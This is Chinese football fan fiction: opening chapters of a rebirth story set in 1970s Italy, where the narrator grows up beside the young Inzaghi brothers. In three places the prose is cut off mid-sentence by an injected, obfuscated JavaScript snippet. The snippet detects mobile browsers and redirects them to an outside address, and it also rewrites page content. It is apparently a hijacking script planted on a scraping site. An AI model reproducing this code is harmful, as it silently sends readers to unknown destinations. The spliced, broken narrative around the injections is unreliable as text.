《[足球]因扎吉的熟人女友》 1. 小玫瑰和小茉莉 在得知自己重生并身处几十年前的意大利之前,李云曦一头雾水地躺在婴儿床上,眼前朦朦胧胧,耳边叽里呱啦一堆洋话,但又不是自己认识的英语和很有特色的东南亚语言,听着有点像被她忘得差不多的西班牙语,还没等她想明白,就被人抱起来晃着睡着了。几个月里,她总是清醒一阵,但又很快败给身体机能,吃吃睡睡,控制不止地哭泣,被好多/人/轮着摸摸抱抱,时不时有香香的女人对她不停念着“mama~mama”。直到身体长到一岁,她突然从这样混沌的状态中彻底醒来。 马泰奥·菲奥蕾先生正抱着他可爱的女儿奥罗拉·菲奥蕾,手上是喂到一半的奶瓶,李云曦才回神就被奶水呛住了,咳得惊天动地,马泰奥慌张地放下奶瓶,轻拍女儿的后背。听到动静的埃琳娜·罗西女士赶来厨房,夺过女儿,边让她身体前倾,头部低于胸部,边从下往上轻拍背部,李云曦狼狈地吐出奶液,觉得自己可能要再嘎一次时,呼吸终于恢复正常。两位新手父母一阵后怕,马泰奥递给埃琳娜毛巾给女儿擦嘴,然后又跑去找更换的婴儿衣服,就这样,眼神聚焦的李云曦终于对这辈子的父母有了清晰的印象,手忙脚乱也掩盖不住他们青春正好五官优越的样貌。 马泰奥和埃琳娜是一对恩爱小夫妻,两人同龄,25岁结婚并生下女儿,小小的女儿就是上天赐予他们的礼物,每次笑起来都像晨光一样让他们无比幸福,满月礼上埃琳娜珍重地吻了吻孩子的额头:“就叫她奥罗拉(Aurora)吧,愿曙光女神保佑她一直快乐。” 想起新名字的由来,意外地和自己上辈子的名字含义相似,李云曦觉得冥冥之中她也许真的被某个神庇佑了,才延续了短暂的生命,同时也不知道哪碗孟婆汤被换成了意式浓缩,总之无牵无挂英年早逝的李云曦突然之间变成了1974年出生在意大利的小镇姑娘奥罗拉,提起意大利,她只能想起历史课本上14世纪文艺复兴以及佛罗伦萨等关键词,近代史是一点都不知道,而现在与自己上辈子生活的年代差了快半个世纪。 呱呱落地的婴儿经过肢体声带努力复健后,终于能跑能跳能口齿流利,还没来得及探索周边,三岁的奥罗拉就将跟着父母搬到皮亚琴察的另一个小镇圣尼科洛。 “妈妈,我们以后不回来了吗?”奥罗拉牵着埃琳娜的手,对自己的小窝依依不舍,或许是雏鸟情结,她心里有点失落,毕竟也在这里住了三年,经历了无数个思考生命意义的夜晚,好不容易沉默着努力着接受一个新的人生,又要换新环境。 “宝贝,爸爸和妈妈要去另一个地方工作,我们在圣尼科洛住的房子比现在这个还要大,你不是一直想要一间画室吗?新房子已经装修好了,你一定会喜欢的。”埃琳娜蹲下来亲亲奥罗拉萎靡的小脸,努力安抚女儿的情绪,奥罗拉知道她只能接受,听完后缓缓点头,回吻了温柔的妈妈,然后被女人抱着,一起坐在后车厢,马泰奥等她最后看了一眼陈旧却温馨的小平房后,启动车子,带着一家三口奔赴新的生活。 她在埃琳娜怀里睡了许久后,被轻轻晃醒,张开双眼,翠绿色的眼珠满是迷茫:“我们到了吗?” “爸爸先到新房子里整理东西,我们去拜访詹卡洛叔叔和玛丽娜阿姨,他们是爸爸妈妈的老朋友,也是我们新家的邻居。”埃琳娜把奥罗拉凌乱的头发和裙子整理好,因为怕孩子冷着热着或者衣服脏了,提着装有女儿衣物的行李箱一起下车。 这是奥罗拉第一次听到妈妈提到朋友,很是好奇,毕竟当小孩的三年,能弄清楚自己变成哪个时间的哪国人,学会当地语言,已经很不容易,除了之前的邻居会来串门,亲戚偶尔拜访,父母也不太会对她说工作和人际交往上的事。 她们走过了一处花园,此时正是夏天,花园里有很多开得正艳的白色雏菊和紫罗兰,它们和阳光相依相偎,清风拂过,花朵摇曳出的点点黑影打在路过的母女身上,空气里漂浮着暖香。奥罗拉的眼睛被晒得有点睁不开,右手抬起来遮住双眸,很快就看见一间两层的大别墅,还没走到门口呢,就有一位穿着蓝色连衣裙的优雅女士快步迎出来,神色很是激动的和埃琳娜进行贴面礼,她们紧紧地拥抱了好一会。 “天啊,埃琳娜,终于盼到你们来了!” 埃琳娜也有点热泪盈眶,这是她结婚后第一次见到玛丽娜:“玛丽娜,你还是如此美丽。” “玛丽娜阿姨你好,我是奥罗拉·菲奥蕾,很高兴认识你。”奥罗拉抬头对着眼前的漂亮阿姨甜甜一笑,虽然她仍旧不太容易分得清外国人的长相,但她分得出美丑,玛丽娜和埃琳娜的气质完全不同,如果说埃琳娜是一汪盈盈的温泉,那么玛丽娜就是沉静的深海,深邃神秘,不笑的时候给人距离感,笑起来也仍是娴静得体的。 玛丽娜抱起奥罗拉,亲了她脸颊好几下“亲爱的,你太可爱了,我真想要个女儿啊。”作为小孩,还是一个长得粉雕玉琢,眼睛像绿宝石一样明亮的意大利小孩,她早就习惯了动不动被亲亲抱抱的日常。 “我带你们去见见我的儿子们。”玛丽娜把奥罗拉放下,带着她们进门,指引埃琳娜把行李箱放在大门旁边的架子上,随后牵着奥罗拉的手,向她们介绍坐在客厅地毯上玩积木的两个小男孩,四岁的哥哥,叫菲利普·因扎吉,一岁的弟弟,是西蒙内·因扎吉。 此时此刻,两个名字犹如惊雷,让奥罗拉呆滞。 看着眼前两张令人脸盲,肥嘟嘟的外国小男孩脸,奥罗拉沉默地被玛丽娜把手放在菲利普手里,“菲利普,作为哥哥,要照顾好妹妹知道吗?奥罗拉你就在这里好好玩,需要什么直接喊露西阿姨。”两个孩子都乖乖点头,玛丽娜叮嘱保姆盯着点他们,就迫不及待拉着埃琳娜去小厅叙旧了。 棕黑色头发的男孩,一双大眼睛眨了眨,他还没有见过奥罗拉这样可爱得像洋娃娃的女孩,绿色的双眸比他见过的玻璃珠子还漂亮,除了带弟弟没有其他带小孩经验的菲利普想了想,把地毯上的积木递给了新来的小妹妹:“奥罗拉,玩积木吗?” “谢谢你,菲利普。”接过积木,奥罗拉左手倒右手,心里乱乱的困惑极了,她一会看着菲利普,一会盯着西蒙内,这样特别的姓名组合,兄弟配置,不就是前世自己上网冲浪看到的知名足球运动员兄弟吗?飘忽的人生终于有了实感。 好家伙,风流的亚平宁一枝花现在在我眼前玩积木啊!奥罗拉很是为自己的运气震惊,毕竟自己是个不看球看球员脸的人,对足球的认知比较浅薄,不帅到一定程度她还真不知道。中国的足球氛围并不浓厚,要不是因为看同人小说好奇,搜索过多张帅脸,填充了意大利男模团的相关讯息(当然是八卦多过赛况),她就真的只知道贝克汉姆和c罗梅西了。 奥罗拉眼睛一转,想起兄弟两未来出色的样貌,他们被网友评价【一个像红玫瑰般艳丽,一个如同白茉莉般清纯】, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309205|198750||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她觉得自己应该把握好这样难得的机会,留下一些“黑历史”,日后大发一笔扎难财。 哎呀,我真坏!但日后菲利普本人不也在拍纪录片时被要求带假发模仿朱丽叶吗?我不过是把反串提前二十年罢了! 她笑得无辜极了:“菲利普,西蒙内,我们玩过家家吧?” 内芯是大人的她熟门熟路跑去扒拉自己的行李箱,精挑细选出了两件裙子和一些首饰,很快铺在两兄弟旁边,菲利普懵懂地听着指挥,直接套上了红色的泡泡裙,又帮弟弟穿上了白色的纱裙,奥罗拉让他们并排坐在椅子上,给菲利普戴上了一顶她最爱的水晶皇冠,给西蒙内套上一条珍珠项链,她偷偷戳了戳他们的脸,软软的很Q弹,为他们分配好角色:“菲利普演妈妈,西蒙内演女儿,我是爸爸!” 奥罗拉又翻出爸妈送自己的相机,要给兄弟两人留下宝贵的纪念,人在做坏事的时候跑来跑去一点都不累,她找到了几个采光好的位置,对着取景框看了又看满意的不得了。 菲利普嘟着嘴,僵硬地坐着,还不怎么有摆拍经验的小孩怎么都不能让奥罗拉满意,她循循善诱:“笑一下,菲利普,想象自己是一朵小玫瑰。”随后抓拍了一些他扮着花朵的照片:穿着红色泡泡裙的孩子雌雄莫辨,眼睛瞪得大大的,双手举在下巴上,微微一笑,脸颊肉红彤彤地鼓着。 摄影师很快换了个模特,想到西蒙内只有一岁,估计理解不了自己说的话,奥罗拉随便嚷了几句:“西蒙内,请像小茉莉一样笑着看镜头,真棒!”身着白色裙子的西蒙内歪着头,看着眼前的漂亮姐姐摆弄着比脸都大的方盒子,笑得一脸甜蜜。 才拍完没多久,玛丽娜和埃琳娜就回来了,奥罗拉还没来得及清理“犯罪现场”,有点心虚,只好发挥自己小孩的特权胡咧咧:“我们在过家家呢,我是爸爸,菲利普是妈妈,西蒙内是我们的女儿!”并坐在菲利普身边,挺直腰杆抚摸着不存在的胡子,让声音变得低沉。 谢天谢地,玛丽娜和埃琳娜只是笑,接过了相机,觉得三个小天使如此惹人喜爱,轮流拍了几张照片后,玛丽娜故作严肃:“但我看不出你们是一家人啊?”奥罗拉没怎么思考,立马站起来挤在兄弟之间,分别握住两边如同藕节般肉肉的小手,还没有来得及假装深沉,就被右手边的菲利普晃了晃手心。 怎么了?她疑惑地转头,一记响亮的亲吻声回荡在客厅里。 奥罗拉感受到嘴上扑过来的如同果冻般的触感,软软的,暖暖的,还有一丝甜香,瞪圆了翠色的双眼。 “咔嚓。” 这“一家三口”的有爱瞬间就这样被相机记录下来。 “天啊,菲利普!你在干什么?”她震撼。 “我看到爸爸妈妈每天都是这样亲亲啊。”菲利普憨憨一笑,眨眨眼,一边的嘴角微微上扬,西蒙内也跟着傻笑,糯糯的声音却像鼓声打在奥罗拉耳膜上。 “噢,玛丽娜,你和詹卡洛真恩爱啊!”埃琳娜反应过来打趣到,玛丽娜脸微红,客厅里充满了快活的气息。 奥罗拉觉得自己受到了冲击,因为她从没有跟别人有过嘴上的亲密,看着啥都不懂的小萝卜头,只能含泪咽下苦果,感叹一句,这就是意大利人或者这就是亚平宁情圣的天赋吗?用力抹了抹嘴巴,做一个假笑女孩。 为了“报复”,她决定了,以后因扎吉兄弟的外号就是“小玫瑰”和“小茉莉”了。 2. 圣尼科洛之夏 1977年的意大利,虽然受全球石油危机冲击,经济发展陷入滞涨,还爆发过全国大规模罢工,但是经济底子还在那,人口五六千万的国度,全国登记的电视机用户就超过了一千万,看电视是家庭里一项十分日常的娱乐活动。而这一年意大利国家广播公司才正式启播彩色电视信号,彩色电视机拥有率不足百分之五,大部分家庭还是在看黑白屏幕,这让在后世享受过各种大屏高清电子产品的奥罗拉很不得劲,宁愿看彩色绘本也不爱看电视,一度让周围人夸赞乖巧。 当奥罗拉跟着因扎吉兄弟守着时间打开他们家电视机时,她也是抱着陪小孩的态度心不在焉地抬头,却突然发现,面前这个小小的厚重方盒子,闪烁着彩色的光,即使屏幕不大,颗粒感很重,但它确实是一台彩色的电视机,Rete 4台正播放动画片《巨灵神》,耳边响起日语的片头曲,高饱和度的机甲飞来飞去,三个小孩此刻都专心致志,两个男孩是因为酷炫的剧情,奥罗拉则是感觉自己终于见到了“高科技”,不舍得眨眼呢。 她平时没有关注电视机里在播什么,对这部片子一点印象也没有,更不知道这部动画是“意大利一代人童年记忆的基石”,只是很惊讶日本动画的影响力那么超前,也很惊讶因扎吉家的财力,就好像是大家都还在看投影仪的时候他们已经使用上全套沉浸式VR了。 想来也是,自己在家里不缺吃不缺穿,但之前住的还是比较小的平房,而因扎吉家住的是大别墅,有花园也有雇佣保姆,奥罗拉隐约记得他们的父亲是工厂的老板,应当属于中高产阶级。不过她也只是习惯性分析,没什么特别的情绪,对自己重生的家庭还是很满意的,是一个很容易知足的人。 等动画播完,两兄弟还意犹未尽,拉着奥罗拉讨论哪个机甲最帅,恰好詹卡洛·因扎吉也完成了工作,和初步整理好新家的马泰奥在门口寒暄了一会。没多久,几个孩子就被保姆露西抱上了宝宝椅固定好,大人们相继走到餐厅,仿佛有聊不完的话。 “好久没有吃到你做的面条和豆汤了,闻到味道好像回到了我们中学的时候。”埃琳娜看着眼前熟悉的红酱意面和扁豆煮成的汤,满是怀念,跟着玛丽娜一起把菜分给菲利普和奥罗拉,西蒙内太小,由保姆负责喂辅食。 每个意大利家庭做的意面都是不同的,拥有家的专属味道。埃琳娜做意面时喜欢加入很多奶油,为了照顾奥罗拉的小牙齿,特地把面煮得比较软,而玛丽娜的意面则用了很多西红柿,红色的酱汁上点缀着些许青豆,酸甜可口。奥罗拉不挑食,好不容易换个口味,她吃得很快乐,边吃边用豆汤顺胃,看得厨师玛丽娜一边心花怒放一边发愁:“奥罗拉吃饭真香,不像菲利普,总是慢慢的,肚子还经常不舒服。” 已经空盘的奥罗拉闻言转头观察菲利普,确实如玛丽娜所言,他正举着小叉子,慢慢卷着面条,送进嘴里,小脸蛋一鼓一鼓的,几根意面嚼了好久,吃得相当细致,看得她手痒想拍照了。 “菲利普吃饭很乖啊,有自己的节奏,不过经常不舒服的话是不是肠胃消化问题?我认识一个儿科医生,可以带他去检查,看能不能调理好。”自从女儿差点被呛窒息以后,马泰奥了解了好多儿童健康方面的知识,还关注了好多有口碑的医生,随即把地址和联系方式写给了詹卡洛——他的朋友兼合作伙伴。 也是因为每年陪女儿体检,机缘巧合下,马泰奥从一个房产中介转行当起了各种机器厂商的中间商,从医疗到服装生产,只要客户有需求,他就能找到对应的器械,赚取中介费,今年由于业务拓展,他正式成立了公司,带着家人搬到附近,在妻子好友的帮助下,他们买下了新的房子,还谈成了一些业务合作,两家的关系更加密切了。 之前由于要照顾奥罗拉,埃琳娜辞掉了她的工作,现在奥罗拉也三岁,可以上幼儿园了,玛丽娜带着她们办好了入学手续,到了九月,她就能正式和菲利普成为同学。 七月,由于忙着找工作,埃琳娜和玛丽娜商量好,把奥罗拉“寄存”在因扎吉家里,保姆的费用按一定比例分摊,晚上再把奥罗拉接回家里。玛丽娜是手工工人,工作时间比较灵活,幼儿园夏季假期时和保姆露西一起照顾三个孩子,等到开学,她就比较轻松了。 因为奥罗拉一直很乖,有较强的自我管理能力,所以马泰奥和埃琳娜都很放心,每天在交代好女儿要跟紧哥哥和看好弟弟后,就把她带到了距离几百米的因扎吉家里,晚上又把女儿抱回家。 奥罗拉的新家也是一个两层别墅,也有一个花园,但总体面积比因扎吉家的小一些。他们家卧室都在二楼,她有自己的房间,隔壁是父母卧室,都有单独的卫生间。一楼除了客厅厨房,还有一间画室和影印室,是马泰奥和埃琳娜为了女儿的绘画摄影爱好规划出来的,目前还比较空,没有什么软装,这段时间两人忙着事业,家里还来不及陈设,只有一些基础的家具。 奥罗拉吃完早餐就背着自己的小书包走到因扎吉家门口,熟练得像到了自己家,她跟妈妈道别,又从书包里拿出今天要看的绘本,然后习惯性牵上来迎接的菲利普的手,被他带到二楼兄弟两的房间。 第一天上门时她还很拘谨,菲利普在家里的叮嘱下,很有做哥哥的责任感,十分热情,抢着帮她背书包,还拿了好多糖果给她:“这是苹果糖,很好吃。”她立马接过,礼貌微笑:“谢谢你,小玫瑰。”两周后他们就摸索出了相处的流程:上午,奥罗拉看绘本自学意大利语的书写,菲利普和西蒙内玩玩具,偶尔凑过来听奥罗拉念故事;中午,三个小孩在露西和玛丽娜帮助下,吃完午餐,到客厅玩飞行棋消食,主要是奥罗拉菲利普玩,西蒙内在旁边看,然后三个人回房间睡午觉;下午,一起到花园里活动,奥罗拉时不时拿出相机,拍拍风景拍拍兄弟两疯跑的画面,到点了就一起去看动画片;晚上,吃完饭,在兄弟两不舍的眼神中,奥罗拉挥手回家。 八月,埃琳娜在附近的中学找到了一份教师的工作,负责教意大利语,没有七月份那么忙碌了,于是奥罗拉就待在家里看书。可是因扎吉兄弟早就习惯了等在门口,等到太阳升到头顶了,还没有等来奥罗拉,菲利普很着急,跑去问露西:“露西阿姨,奥罗拉去哪里了?她是不是迷路了?”大眼睛里噙着泪水,生怕可爱又聪明的妹妹走丢了,西蒙内也在一边抓着露西的衣服跟着喊:“奥罗拉!奥罗拉!”“奥罗拉在家里呀,之前是她的爸爸妈妈没空,她才到我们家里的,你们想找她玩吗?”露西哭笑不得,蹲下来帮菲利普擦擦眼泪,打电话跟外出的玛丽娜说明情况。 菲利普之前除了幼儿园同学,就只跟弟弟一起玩,但是弟弟太小了,很多时候无法交流,奥罗拉却能听懂自己的话,她很聪明,会教他们写字,也不像其他小孩突然就哭就生气,笑容甜甜的,吃饭的时候让他感觉饭都更好吃了,所以除了家人,他最喜欢奥罗拉了。 玛丽娜问过埃琳娜后,就拜托露西把兄弟两带到奥罗拉家里,跟着照看他们。 “菲利普,去奥罗拉家里要听话,看好弟弟,有什么事找露西阿姨,不要麻烦到埃琳娜阿姨。”电话里传来玛丽娜的嘱托。 “好的妈妈,我爱你。”菲利普扬起笑脸,对着话筒mua了几下。 “我也爱你菲利普。”玛丽娜回吻几声挂了电话。 这是菲利普第一次去朋友家,还有点紧张,他学着奥罗拉,背上自己的小书包,把玩具一股脑丢进去,又往弟弟的小包里塞糖果,被保姆送到奥罗拉的家门口。 “叮咚”门铃响起,坐在客厅,沉浸在绘本里的奥罗拉奇怪地抬头,“奥罗拉,去开门。”忙着准备水果招待的埃琳娜对着客厅喊了一句。 她以为是家里约好的客人,应了一声,就放下书,快步走到门口,垫着脚拉开了门,还没来得及打招呼,就被一大一小两个身影围着抱在了一起,脸上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那天起,兄弟两就时不时来串门,有时候为了不吵到备课的埃琳娜,奥罗拉会主动去因扎吉家里,三个人形影不离,两家都觉得自己多了个女儿或两个儿子,关系愈发亲密。 在妈妈的提醒下,奥罗拉才发现自己和菲利普的生日只隔了一天,都是狮子座,他8月9号,自己8月10号,西蒙内则是4月5日生的白羊座,于是只有兴趣没有画技的野生派画家奥罗拉紧赶慢赶,画了一幅Q版大头给菲利普当生日礼物。 到了8月9号这天,菲利普的爷爷奶奶和外公外婆都赶来参加他的生日,奥罗拉跟着菲利普和西蒙内认识长辈,一会学着兄弟两跟安杰洛玛利亚打招呼,一会被艾米莉亚和路易吉亲亲小脸,好不容易等到菲利普许愿切蛋糕,才终于把礼物送出去了。 夜晚,菲利普送走客人后,小心地把爱洛送的画放在相框里,摆在书柜上,他认真端详了一会,纸上画着一个被玫瑰花瓣包围的圆脸小男孩,线条稚嫩胜在可爱,右下角还有奥罗拉板正的签名。菲利普看了一眼在床上蹦迪的西蒙内,摸了摸相框,还是把画收起来放在抽屉里了。 第二天,是奥罗拉这几年过得最热闹的一次生日,奥罗拉的长辈们都过来了,伯尼和苏珊(爷爷奶奶)送了她一件亲自设计和缝纫的绿色礼服裙,安迪和梅(外公外婆)准备了一套珍珠首饰,于是奥罗拉换上长辈的礼物,迎接到来的客人,她被两兄弟夸得心情大好,偷偷塞了好多小零食给他们。 “爱洛,这是我和西蒙内一起准备的植物画,送给你。”菲利普递过来一副罩着玻璃的长方形立体画,上面是用玫瑰和茉莉干花拼成的花园,右下角他们也留下了工整圆润的签名。 等奥罗拉慢慢装饰好房间,让马泰奥帮忙把这幅画挂到墙上的时候,她在圣尼科洛度过的第一个夏天就已经结束了。这几个月,她认识了两个新朋友,也学会了写好多单词,适应环境后,每天简单又快乐,期待着去新的学校探险。 “爱洛!”菲利普背着书包,在一楼等着跟奥罗拉一起去幼儿园。 “这就下来!”她探出窗口大声应和,关好窗户,跑出房间。 九月的风,拂过两个小孩的发梢,蹭了蹭他们上扬的嘴角。 3. 爱洛的缪斯 1978年3月的某个早上,奥罗拉照例开门拿取报纸,为了更好地认字,她已经拜托马泰奥定了好几种报纸,然而,这注定是震惊全意大利人民的一天,《共和国报》首版大标题——莫罗已被红色旅绑架,《晚邮报》首页怵目惊心——莫罗被劫:全国为人质。 再三确认了自己没看错单词后,她把报纸摊开在餐桌上,不可置信:“妈妈爸爸,总统被绑架了。” 此时,越来越多的意大利人得知这一噩耗,全国陷入恐慌,警卫们在罗马搜寻无果,55天后,莫罗遭遇枪杀,举国悲痛。 重生后的奥罗拉,对生命有了更深的感悟,也更珍惜时间,想做什么就立马行动,去欣赏云去追赶风,拥抱大大小小的快乐时刻。但在这一瞬,她才意识到,自己不在中国了,周围不再是安全和平的,一个发达国家的总统居然能被绑架虐杀,而意大利的黑/手/党也并不是影视剧中呈现的忠义形象,他们诡谲血腥,以暴力谋取利益。一想到自己可能会被身边路过的某个人因为莫须有的罪名开枪射杀,最近奥罗拉有点抗拒出门。 “菲利普,这个世界上为什么会有那么多暴力呢?”奥罗拉躺在床上,回忆着现在和未来发生的战争和黑色恐怖,回忆国家政权和暴力组织之间互相纠葛又摇摇欲坠的关系,想不明白,她也没指望身边5岁的菲利普能回答,就只是发发牢骚。 菲利普也没有答案,他甚至连暴力这个词汇都是在奥罗拉解释后才懂,但是小孩能感受到小伙伴的不安,他学着玛丽娜,轻轻吻了女孩因为忧郁变得有些暗淡的眼睛,“我会保护爱洛的。” 哎呀,真丢人啊,还被小朋友安慰了。奥罗拉用手心捂住了眼皮,想着中国会在今年开始对外开放,起码它会越来越好,心情晴朗许多,决定自己要强身健体努力长大,坦然面对未知,不知不觉,就和菲利普一起睡着了。埃琳娜进房间叫人吃饭时,看到的就是两个小天使头靠头,手贴手,胸膛起伏,进入梦乡的模样。埃琳娜把迷糊的小天使挨个叫醒,菲利普和奥罗拉用自己的小毛巾擦了擦脸,就一起下楼吃饭。在饭桌上,奥罗拉终于听到了好消息,伟大的马泰奥先生帮她找到了画画和音乐老师! 是的,既然出生在这样一个艺术气息浓厚的国度,家里也不缺钱,奥罗拉已经暗暗计划好自己的未来,她想要系统性地学习绘画和音乐,日后从事传媒广告类的工作。之前的不安被光明的未来冲淡,为自己的兴趣努力,好好地享受童年,就是她现在的目标了。 她总是拉着两兄弟一起行动,带小孩已成自然,还好菲利普能管得住越来越话痨的西蒙内。当她苦练素描直线时,他两安静地看漫画;当她视唱练耳时,他两在花园里抓虫子;当她累了拿相机拍照调剂时,他两任凭她摆布出各种搞笑的姿势。 等到奥罗拉5岁,她的素描小有所成,虽然因为人小手臂控制力不强,画出的线条还有些抖,6岁的菲利普已经成了她的御用模特,小孩子的脸蛋脱去了之前的婴儿肥,头发也长长了一些,就是小肚子还是圆滚滚的。 有一天马泰奥进到画室帮女儿整理练习的稿纸,发现十张里有八张是菲利普,剩下的才是西蒙内或者家长们,莫名觉得心里酸酸的,当天晚上两家聚餐时忍不住打趣:“亲爱的埃琳娜,我们的女儿快变成菲利普专属画家了。”詹卡洛翻着稿纸也故作惊讶:“我都没有奥罗拉对菲利普熟悉。”妈妈们就在一旁捂着嘴笑。 你们懂什么?眼前这位菲利普·因扎吉长大后会变得尤其风情万种,有名气又帅气,画到就是赚到,未来混不下去了,这些画就是我的养老保险!奥罗拉脸皮厚得很:“当然了,菲利普是我的缪斯!” “你知道缪斯是什么吗?”作为国语老师的埃琳娜乐不可支。 “就是指我的灵感来源啊!妈妈,我知道这个词!”她不满地撅嘴,转头小声和小伙伴说话:“菲利普,明天你去教堂唱歌时,我会带着西蒙内去看的。”她现在已经很少叫两人外号了,也淡忘了让人啼笑皆非的初吻被夺事件,就把自己当成两人姐姐。 菲利普是圣尼科洛教堂的唱诗班成员,听玛丽娜说,他出生时就在那里接受的洗礼,算是一位天主教徒,奥罗拉虽然学唱歌,但她偏向无神论或者道教,对在教堂合唱没什么执念,可家里小弟弟要唱歌演出?不能不捧场啊! 奥罗拉总是很热衷于用各种形式记录下时间的流逝,纪念家人的特殊时刻,更多时候会用相机,但在教堂里就不太方便了,于是她拉着玛丽娜和西蒙内坐在角落里,用大人的身体挡住她手上的速写本,认真听着菲利普和其他唱诗班小朋友一起用清澈稚嫩的嗓音表达对上帝的敬仰与爱,手上的黑笔没停过,慢慢组成了一幅教堂穹顶下圣子沐浴圣光,虔诚歌唱祈祷的黑白速写,圣子鼻尖的黑痣和眼眸微垂下的阴影让画面愈发灵动圣洁。 结束礼拜后,奥罗拉跟在玛丽娜身边,拉着西蒙内去接菲利普,悄悄把速写展示给菲利普看,想不通未来他的歌喉怎么就劈叉了呢。菲利普惊叹不已:“爱洛,你画得越来越好看了!”“我说了,你是我的缪斯啊。”捏了捏他圆润的小鼻子,把这幅画撕下来送给他。 这些年,大家时不时就能收到奥罗拉的赠画,线条越来越流畅,构图越来越有章法,菲利普是收藏大户,他还专门买了个本子收纳奥罗拉送他的各种画稿,而奥罗拉习惯把草图送出去,回家时再凭借记忆画一版正式的,上课的时候让老师评价,不断精进画技。 除了时不时跟着玛丽娜做礼拜,三人组还会跟着詹卡洛去郊区玩,每当有出游计划,前一天奥罗拉就会睡在菲利普床上,菲利普去和西蒙内挤,第二天趁着天还没亮被家长叫醒,一大早坐车赶到皮亚琴察山区的费里埃雷,兄弟两总是很兴奋,奥罗拉除了第一次去时会好奇看看窗外奔驰而过的景观,后来只会靠在菲利普身上睡得不知西东,到地方了才醒来。 詹卡洛会教他们怎么采蘑菇和果子,从来没有相关经验的奥罗拉听得很是认真,生怕发生各种类似云南菌子中毒的悲剧,有意思的是,意大利全国的面积甚至没有云南省大,她觉得未来自己一定可以游遍意大利,采遍意大利! 菲利普不仅跟着父亲耳濡目染经验丰富,他的嗅觉还很惊人,所以每次的收获都很多,有时候奥罗拉就跟在他身后捡漏,菲利普也会把一些蘑菇让给她采,西蒙内就很随意了,没采几个就开始找虫子玩,只要他不把虫子甩她身上,她是无所谓的。遇到小溪小河,詹卡洛会带他们垂钓,这次奥罗拉觉得一直撑着杆子又累又无聊,自告奋勇去生火,詹卡洛答应了,只是要求要在他看得见的地方。两兄弟被父亲压着磨性子,在好不容易钓上一条鱼后,菲利普也跑去帮奥罗拉生火,他们等会还要在这里野炊呢。 刚才奥罗拉跑去周围捡了一些易燃物堆在一旁,她虽然没有采摘经验,但有丰富的玩火经验,知道要把燃烧的区域尽量拔光草,要围石头隔离出防火带,她指挥菲利普把詹卡洛准备好的木炭交错堆叠,自己倒了一些干草和干燥的松果在缝隙里,用打火机引燃,双手护住微弱的火苗,时不时用嘴吹一吹,终于,火苗越烧越旺,木炭也成功点燃。 詹卡洛夸赞了奥罗拉和菲利普,并在火堆上摆起架子烧水,打算做一锅杂烩汤,他在锅中加入洗干净的蘑菇和处理好的鱼肉,倒上玛丽娜的特制调味料,最后放入一些培根碎,汤咕噜噜冒着香气,四个人啃着吐司就着鲜美的汤吃得不亦乐乎。 清理完餐具和火堆,他们就回家了,小孩子容易累,虽然系了安全带,回去的路上仍睡得东倒西歪,最后奥罗拉是被下班回家的埃琳娜抱回家的。 到了1980年,奥罗拉6岁,去往威尼斯的圣马可广场体验了狂欢节,这是一个以佩戴面具和身着华丽服饰为特色的节日,人们想要通过遮掩身份的举措在狂欢节期间消除阶级的差异,没有了贫富性别和年龄的区分,到处都是戏剧的舞台。 两家父母精心装扮好三个孩子,给他们分别穿上了白雪公主和小王子的服装,路上都是盛装出行的人群和佩戴面具的表演人员,许多孩子追逐着彩色的纸屑,奥罗拉童心未泯,跟西蒙内一起加入到撒纸屑的活动中,直到菲利普把他们拉回来。她很少在意大利的街上看到那么多人,真不愧是历史最悠久规模最大的狂欢节。两家人靠近河边,马泰奥把奥罗拉架在肩膀上坐着,让她能更好地看到河里浩浩荡荡的游船,船的造型千奇百怪,令人目不暇接。菲利普也坐在詹卡洛脖子上,玛丽娜则抱着西蒙内,他们也专注看着水上的精彩表演。 奥罗拉第一次体验如此西方特色的节日(圣诞除外),兴奋地拉着父母逛了好多家面具店,看到了各种斗篷高帽,到后来已经审美疲劳了,在买了一个水钻面具后,他们和因扎吉一家进入了当地的一间餐厅用餐和休息。 埃琳娜和玛丽娜点了一些威尼斯的特色食物,奥罗拉先尝了一下狂欢节糕点,这是一种圆形的油炸面点,外面撒着糖霜,里面包裹着奶油,一口下去甜滋滋,充满奶香。甜完嘴,向着黑乎乎的墨鱼汁烩饭进攻,饭粒咸鲜可口,奶味十足,墨鱼肉在嘴里弹动,鼻尖时不时飘来微弱的葡萄酒味,吃得她停不下来,中间还尝了几口小牛肝,丰富的脂肪香气在嘴里迸发,最后是喝了一杯桃子汁结束了战斗。 奥罗拉摸了摸小肚子,任由妈妈帮她擦着黑乎乎的小嘴,不止一次感慨,做一个可以不顾形象的小孩真好!她不自觉眯起眼来,吃着美食,周围是家人们的欢声笑语,感觉此刻十分幸福。 从威尼斯回来后,奥罗拉意犹未尽,戒断了几天才把心收回来,报纸又开始搞事情了,听到詹卡洛骂骂咧咧时,她凑过去一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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看着菲利普进了教室后,玛丽娜带着奥罗拉和西蒙内在小学里逛了一圈,学校并不大,就只有一栋七层高的教学楼,和一个旧旧的小操场,离家里不远不近,骑单车估计十几分钟就能往返,小镇治安还是可以的,等他大几岁就可以自己上学放学了。 